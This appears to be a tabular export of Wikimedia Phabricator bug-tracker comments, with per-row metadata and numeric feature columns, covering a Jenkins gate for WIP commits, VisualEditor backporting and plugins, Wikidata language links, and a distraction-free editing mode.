+832242,"Jenkins: Set up job in gate-and-submit to avoid submitting ""DRAFT"" or ""WIP"" commits","After all those years, it is not going to happen. Guess it is better handled directly in Gerrit eg via T135245.  Gerrit is replacing the draft system with private changes which would suit the WIP convention. ",,,1490610800,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-idlocbtqlilq2tqfojzu,task_subcomment,,True,c1,3,True,,,195,,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0
+674720,"Jenkins: Set up job in gate-and-submit to avoid submitting ""DRAFT"" or ""WIP"" commits",T135245 propose to add a new label in Gerrit `Workflow` to let users vote -1 and prevent it from being merged.,,,1465209913,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-idlocbtqlilq2tqfojzu,task_subcomment,,True,c1,3,True,,,153,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+609043,"Jenkins: Set up job in gate-and-submit to avoid submitting ""DRAFT"" or ""WIP"" commits","There is a patch proposed upstream:
+
+* https://review.openstack.org/#/c/251373/
+** Filter events by commit message,  Allow events to be filtered by commit messages
+
+That might  let us prevent a change from entering gate-and-submit.
+",,,1455277524,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-idlocbtqlilq2tqfojzu,task_subcomment,,True,c1,3,True,,,136,,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
+229301,"Jenkins: Set up job in gate-and-submit to avoid submitting ""DRAFT"" or ""WIP"" commits","(In reply to Antoine ""hashar"" Musso (WMF) from comment #4)
+> Revisiting after a while: Zuul does not have support to prevent merge based
+> on a the content of the commit message.
+
+Really?  The Jenkins jobs have a full git checkout, so presumably you could write a jenkins job for gate-and-submit that runs:
+
+git log --oneline | head -1 | fgrep -q WIP
+
+The actual test would be a little more complicated, since you'd want to be sure you were looking at the right side of a merge commit, but either HEAD^1 or HEAD^2 would name the actual patch you're committing in that case.",,,1416436916,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-idlocbtqlilq2tqfojzu,task_subcomment,,True,c1,3,True,,,72,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,1,0,1
+229296,"Jenkins: Set up job in gate-and-submit to avoid submitting ""DRAFT"" or ""WIP"" commits","Revisiting after a while: Zuul does not have support to prevent merge based on a the content of the commit message.
+
+A possibility is to use Code-Review: -2 which will effectively prevent Gerrit from submitting the patch.
+
+Another way would be to add a new label in Gerrit that would be used to flag a change has being in progress which would trigger the gate-and-submit when voted +1. Something like:
+
+ Approval:
+  +1 Approved
+   0 Pending review
+  -1 Work in progress
+
+Timo thoughts? Or should we just abandon this idea?",,,1400511546,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-idlocbtqlilq2tqfojzu,task_subcomment,,True,c1,3,True,,,46,,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+229291,"Jenkins: Set up job in gate-and-submit to avoid submitting ""DRAFT"" or ""WIP"" commits",*** Bug 53405 has been marked as a duplicate of this bug. ***,,,1377672091,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-idlocbtqlilq2tqfojzu,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+229285,"Jenkins: Set up job in gate-and-submit to avoid submitting ""DRAFT"" or ""WIP"" commits","Looking at the dashboard of VisualEditor extension that makes a lot of sense :)
+
+https://gerrit.wikimedia.org/r/#/projects/mediawiki/extensions/VisualEditor,dashboards/default
+
+$ git-review -l|egrep '(WIP|MERGE)'
+70560  master  [WIP] Language Inspector Prototype                          
+71641  master  [DON'T MERGE] Remove 'mw-editsection-bracket' hack    
+71285  master  [WIP] Do not allow to resize thumb image to be bigger than original file
+70346  master  [DON'T MERGE] Rich Copy and Paste from External Source
+69796  master  [DON'T MERGE] Rich paste from external sources         
+71661  master  [WIP] ve.dm.Transaction: Implement newFromDocumentInsertion, take 2
+70981  master  [WIP] Math Node UI
+68615  master  [WIP] Source code editing
+70171  master  [WIP] Math Node Matcher
+69281  master  [WIP] Link surface fix for RTL
+$",,,1372883700,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-idlocbtqlilq2tqfojzu,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,1,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,1,0,1
+229277,"Jenkins: Set up job in gate-and-submit to avoid submitting ""DRAFT"" or ""WIP"" commits","I would prefer we do not rely on the commit summary having WIP or DRAFT in it, though we might warn about it.
+
+OpenStack has a patch for Gerrit (might have been upstreamed), that let you flag a change has being a work in progress (see original feature request https://bugs.launchpad.net/openstack-ci/+bug/902953 ).
+
+
+From Gerrit 2.5 release-notes, the drafts do not send patchset-created events so they should not trigger any job.  When they are published we have a new `draft-published`  event which is essentially the same as patchset-created.
+
+
+I guess voting CodeReview +2 on a draft will thus send no event at all and the change will obviously never enter any pipeline.",,,1365577705,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-idlocbtqlilq2tqfojzu,task_subcomment,,True,c1,1,True,,,-12,,1,0,0,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+48803,VisualEditor: Plugin editors to be created (tracking),"This is a tracking bug for the creation of VisualEditor plugin editors, for each of which the primary bug should live in that product/component instead (where they're about an existing Extension etc.).
+
+This task has been replaced by #VisualEditor-MediaWiki-Plugins
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Lowest,10.0,1364926560,1422424777.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-sqaxwrwatnj3ric4i2qs,task_description,resolved,True,c1,1,True,True,False,-13,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+403775,VisualEditor: Plugin editors to be created (tracking),Replaced by the #VisualEditor-MediaWiki-Plugins project.,,,1422424777,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-sqaxwrwatnj3ric4i2qs,task_subcomment,,True,c1,3,True,,,82,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+226017,VisualEditor: Plugin editors to be created (tracking),"(In reply to Elitre from comment #2)
+> For documentation, see https://www.mediawiki.org/wiki/VisualEditor_gadgets.
+
+No, that doesn't document how to create a proper VisualEditor plugin; the gadgets system uses a different way to work.",,,1415898284,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-sqaxwrwatnj3ric4i2qs,task_subcomment,,True,c1,3,True,,,71,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+226009,VisualEditor: Plugin editors to be created (tracking),"For documentation, see https://www.mediawiki.org/wiki/VisualEditor_gadgets.",,,1415894243,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-sqaxwrwatnj3ric4i2qs,task_subcomment,,True,c1,3,False,,,71,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+226001,VisualEditor: Plugin editors to be created (tracking),"Setting to ""Lowest"" priority as in general the WMF VisualEditor team won't itself be creating these, but instead helping others do so.",,,1364926707,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-sqaxwrwatnj3ric4i2qs,task_subcomment,,True,c1,1,True,,,-13,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,0,1,0
+47687,no language links shown in edit mode,"When you are editing an article the language links from Wikidata are not shown in the sidebar. Local links are shown.
+
+(Reported at https://en.wikipedia.org/wiki/Wikipedia_talk:Wikidata/Archive_1#No_interwiki_links_when_you_are_in_edit_mode%3F)
+
+**See Also**:
+{T48488}
+{T63768}",Lowest,10.0,1362396060,1644158450.0,PHID-USER-7n5fvppwj4ueprv2iuys,False,PHID-USER-7n5fvppwj4ueprv2iuys,False,PHID-TASK-xb522jegn4symvyf4f4u,task_description,resolved,True,c1,1,True,True,False,-17,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+1859033,no language links shown in edit mode,Thanks for checking! It might have been fixed in the meantime then. Let's close it.,,,1644158450,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-xb522jegn4symvyf4f4u,task_subcomment,,True,c1,3,True,,,448,,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+1859026,no language links shown in edit mode,"If I open https://en.wikipedia.org/wiki/Zdravets,_Varna_Province for editing and hit {nav Show preview} using the 2010 wikitext editor and legacy Vector, I see language links in the sidebar, even though none are specified in wikitext, only through Wikidata. @Lydia_Pintscher, could you please provide specific steps to reproduce, or close this ticket if you can’t reproduce it anymore either?",,,1644154172,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-xb522jegn4symvyf4f4u,task_subcomment,,True,c1,3,False,,,448,,0,0,0,1,0,1,0,0,1,1,1,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1
+914567,no language links shown in edit mode,Should this still be fixed? see {T160931},,,1503080071,,PHID-USER-3wfzrv2a2ggwauxc52is,False,,,PHID-TASK-xb522jegn4symvyf4f4u,task_subcomment,,True,c1,3,False,,,215,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0
+847099,no language links shown in edit mode,Still an issue in wikitext editor.,,,1492960800,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-xb522jegn4symvyf4f4u,task_subcomment,,True,c1,3,True,,,198,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+208994,no language links shown in edit mode,*** Bug 58518 has been marked as a duplicate of this bug. ***,,,1387190061,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-xb522jegn4symvyf4f4u,task_subcomment,,True,c1,3,True,,,24,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+208990,no language links shown in edit mode,"Tested on fiwiki: Language links are shown when you click ""Show preview"". In VisualEditor, they are shown immediately. Is this enough?",,,1383629823,,PHID-USER-pxpu4muyuyvybjioj2la,False,,,PHID-TASK-xb522jegn4symvyf4f4u,task_subcomment,,True,c1,3,False,,,18,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,0
+47300,"Create a ""zen mode""/""Distraction free mode"" MediaWiki extension","Perhaps might be nice in MediaWiki core, but would definitely be nice as at least a MediaWiki extension, we should implement a ""zen mode"" capability from ?action=edit.
+
+GitHub and it seems like the Cloud9 IDE both have this mode. It's demonstrated here: <https://docs.c9.io/zen_mode.html>.
+
+In short, in the case of GitHub, it appears to be a bit of JavaScript that adds a ""zen mode"" button to the UI. When the user clicks this button, the non-essential page elements are hidden from the page, allowing the user to focus on the textarea (or other central input area) alone. Basically it reduces the amount of noise on the page in order to increase the signal.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=14501",Lowest,10.0,1361595420,,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-edwajw6htxppl743yg5e,task_description,open,True,c1,1,False,False,,-19,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1
+435539,"Create a ""zen mode""/""Distraction free mode"" MediaWiki extension",So... I like the way that Phabricator does full screen. It's probably more accurately called full browser window. I think we should steal the (idea of) their code and put it in MediaWiki core. It can't be that much JavaScript... and then the wikitext edit toolbar (WikiEditor?) and the VisualEditor toolbar can be modified to expose this full browser window functionality. Does that seem reasonable?,,,1427761367,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-edwajw6htxppl743yg5e,task_subcomment,,True,c1,3,False,,,91,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,1,0,1,0,0,1,0,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,0
+210645,"Create a ""zen mode""/""Distraction free mode"" MediaWiki extension","Could easily be done as a gadget, rather than a extension.",,,1361616078,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-edwajw6htxppl743yg5e,task_subcomment,,True,c1,1,True,,,-19,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+210639,"Create a ""zen mode""/""Distraction free mode"" MediaWiki extension","Also knows as ""Distraction free mode"", e.g. in Sublime Text 2:
+
+http://www.sublimetext.com/docs/2/distraction_free.html",,,1361613794,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-edwajw6htxppl743yg5e,task_subcomment,,True,c1,1,True,,,-19,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+45898,"VisualEditor: Port MW core changes back to 1.19.x, 1.20.x and 1.21.x series so VE can run on them","**Author:** `Coiby.Xu`
+
+**Description:**
+I try a clean install of MW 1.20.2 and also install VE and Parsoid extension. When click ""VisualEditor"" button, the VE doesn't appear and there's a js error: ""Uncaught TypeError: Cannot read property 'error' of null"".
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Lowest,10.0,1357988100,1404436245.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-utiy7prmp4a62qvvpo6d,task_description,declined,True,c1,1,False,False,False,-25,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+227792,"VisualEditor: Port MW core changes back to 1.19.x, 1.20.x and 1.21.x series so VE can run on them",Now that 1.23.x is released I suppose this is unnecessary.,,,1404436245,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-utiy7prmp4a62qvvpo6d,task_subcomment,,True,c1,3,True,,,52,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+227784,"VisualEditor: Port MW core changes back to 1.19.x, 1.20.x and 1.21.x series so VE can run on them","(In reply to comment #8)
+> I would suggest creating a backport and then ask for a review of it.  If a
+> person can be found to implement and support the backport, I don't have a
+> problem with shipping a 1.19 with it.
+
+Thanks Mark; marking as lowest priority as (as said above) WMF won't be working on this, but if a third party would like to we'd be happy to help them out.",,,1366906626,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-utiy7prmp4a62qvvpo6d,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1
+227777,"VisualEditor: Port MW core changes back to 1.19.x, 1.20.x and 1.21.x series so VE can run on them","(In reply to comment #6)
+> Copying Mark - Mark, what's policy for backporting functionality changes in
+> core so that people can use extensions?
+
+Andre is right -- depends on the complexity.  We did have some discussion of this on Wikitech-l, but I don't think a final decision was made.
+
+I would suggest creating a backport and then ask for a review of it.  If a person can be found to implement and support the backport, I don't have a problem with shipping a 1.19 with it.",,,1366902873,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-utiy7prmp4a62qvvpo6d,task_subcomment,,True,c1,1,False,,,-10,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+227772,"VisualEditor: Port MW core changes back to 1.19.x, 1.20.x and 1.21.x series so VE can run on them","(In reply to comment #6)
+> Copying Mark - Mark, what's policy for backporting functionality changes in
+> core so that people can use extensions?
+
+James: Have specific commits been identified? 
+I guess it highly depends on the complexity of the task...",,,1366892475,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-utiy7prmp4a62qvvpo6d,task_subcomment,,True,c1,1,True,,,-10,,0,0,1,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
+227768,"VisualEditor: Port MW core changes back to 1.19.x, 1.20.x and 1.21.x series so VE can run on them","Copying Mark - Mark, what's policy for backporting functionality changes in core so that people can use extensions?",,,1366665631,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-utiy7prmp4a62qvvpo6d,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0
+227763,"VisualEditor: Port MW core changes back to 1.19.x, 1.20.x and 1.21.x series so VE can run on them","**Coiby.Xu** wrote:
+
+Suddenly VE gave such error:""Uncaught TypeError: Cannot call method 'enable' of null"" while it was normal a few days. I'm not sure if that error is related to this bug.",,,1359041505,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-utiy7prmp4a62qvvpo6d,task_subcomment,,True,c1,1,False,,,-23,,1,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+227758,"VisualEditor: Port MW core changes back to 1.19.x, 1.20.x and 1.21.x series so VE can run on them","**Coiby.Xu** wrote:
+
+Not really, I find it works on 1.20.0 :)
+> This is correct - minimum current version of MW for the VE code is 1.21/wmf5
+> (and this may go up as we add more functionality to MW core so that VE can
+> work; it is possible that these changes will get back-ported to 1.19 and 1.20
+> by some volunteers, but we at WMF won't be looking at this whilst the
+> extension
+> is still in an experimental stage.
+> 
+> Will change this to an enhancement for that to be done, with low priority
+> (reflecting that if a volunteer wants to do it, that'd be great).
+> 
+> See my comment on the wikitech-l mailing list thread:
+> http://lists.wikimedia.org/pipermail/wikitech-l/2013-January/065532.html
+> 
+> Have added this to the Extension page on MediaWiki.org - 
+> https://www.mediawiki.org/w/index.php?title=Extension:
+> VisualEditor&diff=628258&oldid=610234",,,1358149634,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-utiy7prmp4a62qvvpo6d,task_subcomment,,True,c1,1,False,,,-24,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,0,1,0,0,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1
+227752,"VisualEditor: Port MW core changes back to 1.19.x, 1.20.x and 1.21.x series so VE can run on them","**Coiby.Xu** wrote:
+
+Hi Andre,
+The skin I use is Vector. This Mediawiki is in the local network thus can't be accessed from outside:(
+The version of VE is 72c121684c6edb6ab580258676759f62e3efd471 and Parsoid's is aa34a80a6e43fe4fe6c5a95b465bf10dee3ed922.
+> Hi Coiby,
+> which user interface skin do you use?
+> Is this MediaWiki installation publicly accessible somewhere?
+> Which versions of VE and Parsoid versions do you use?",,,1358149479,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-utiy7prmp4a62qvvpo6d,task_subcomment,,True,c1,1,False,,,-24,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+227746,"VisualEditor: Port MW core changes back to 1.19.x, 1.20.x and 1.21.x series so VE can run on them","This is correct - minimum current version of MW for the VE code is 1.21/wmf5 (and this may go up as we add more functionality to MW core so that VE can work; it is possible that these changes will get back-ported to 1.19 and 1.20 by some volunteers, but we at WMF won't be looking at this whilst the extension is still in an experimental stage.
+
+Will change this to an enhancement for that to be done, with low priority (reflecting that if a volunteer wants to do it, that'd be great).
+
+See my comment on the wikitech-l mailing list thread: http://lists.wikimedia.org/pipermail/wikitech-l/2013-January/065532.html
+
+Have added this to the Extension page on MediaWiki.org - 
+https://www.mediawiki.org/w/index.php?title=Extension:VisualEditor&diff=628258&oldid=610234",,,1358117818,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-utiy7prmp4a62qvvpo6d,task_subcomment,,True,c1,1,True,,,-25,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1
+227741,"VisualEditor: Port MW core changes back to 1.19.x, 1.20.x and 1.21.x series so VE can run on them","Hi Coiby,
+which user interface skin do you use?
+Is this MediaWiki installation publicly accessible somewhere?
